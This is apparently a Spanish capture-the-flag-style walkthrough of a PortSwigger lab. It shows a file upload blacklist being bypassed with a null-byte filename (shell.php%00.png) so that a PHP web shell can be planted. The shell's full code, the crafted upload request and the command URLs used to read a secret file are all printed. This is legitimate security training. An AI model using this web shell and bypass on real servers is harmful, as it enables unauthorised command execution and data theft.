Entrada

File Upload Vulnerabilities Lab 5

File Upload Vulnerabilities Lab 5

Skills

  • Web shell upload via obfuscated file extension

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una función de carga de imágenes vulnerable, ciertas extensiones de archivo están blacklisteadas, pero esta defensa puede ser eludida usando una clásica técnica de ofuscación. Para resolver el laboratorio, debemos subir una web shell básica en PHP, utilizarla para extraer el contenido del archivo /home/carlos/secret y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Al subir el archivo nos sale un error

Subimos el archivo nuevamente y capturamos la petición con Burpsuite, el payload va a ser shell.php%00.png, las versiones de php inferiores a la 5.4 son vulnerables a null byte injection %00, lo que hace que ignore lo que hay detrás de él y no se interprete

1
2
3
4
5
6
Content-Disposition: form-data; name="avatar"; filename="shell.php%00.png"
Content-Type: application/x-php

<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Vemos que el archivo php se ha subido correctamente y que seha subido con el nombre shell.php ignorando lo que hay detrás del null byte %00

Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Si accedemos a https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php%00.png?cmd=whoami vemos que nos da un error

Sin embargo, sin accedemos a https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=whoami vemos que nos ejecuta el comando

Listamos el contenido de la home de carlos https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos

Obtenemos el contenido del archivo secret https://0a8000880480dca9801485ed00820059.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret

Submiteamos la solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.